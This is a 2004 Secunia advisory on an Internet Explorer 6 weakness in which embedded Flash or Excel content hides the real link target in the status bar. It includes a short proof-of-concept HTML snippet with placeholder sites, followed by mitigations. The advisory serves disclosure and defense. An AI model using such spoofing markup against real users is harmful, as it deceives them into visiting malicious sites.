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Internet Explorer Flash/Excel Content Status Bar Spoofing Weakness
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Secunia Advisory:
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SA13156
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Release Date:
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2004-11-10
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Last Update:
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2004-11-17
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Popularity:
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30,791 views
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Critical:
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Not critical
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Impact:
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Security Bypass
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Where:
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From remote
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Solution Status:
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Unpatched
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| Software: | Microsoft Internet Explorer 6.x
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Description:
Roozbeh Afrasiabi has discovered a weakness in Internet Explorer, which can be exploited by malicious people to trick users into visiting a malicious website by obfuscating URLs displayed in the status bar.
This weakness is a variant of:
SA13015
Example:
<A HREF=http://[trusted_site] >
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
WIDTH="300" HEIGHT="50" id="link" ALIGN="">
<param NAME=movie VALUE="[malicous_flash]">
<param NAME=quality VALUE=high >
<param NAME=bgcolor VALUE=#FFFFFF>
<param NAME=menu VALU=FALSE>
<embed src="[malicious_flash]" quality=high bgcolor=#FFFFFF WIDTH="300" HEIGHT="50" NAME="link" ALIGN=""
TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
</embed>
The problem has been confirmed in version 6.0 on a system running Windows XP with SP2 installed. Other versions may also be affected.
It is also possible to use an embedded Excel spreadsheet, as demonstrated by http-equiv.
Solution:
Never follow links from untrusted sources.
Disable the "Run ActiveX controls and plug-ins" setting for all but trusted sites.
Provided and/or discovered by:
Discovered by:
Roozbeh Afrasiabi
Further information provided by:
http-equiv
Changelog:
2004-11-17: Added further information provided by http-equiv. Updated "Description" section.
Other References:
SA13015:
http://secunia.com/advisories/13015/
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About this Secunia Advisory
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Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.
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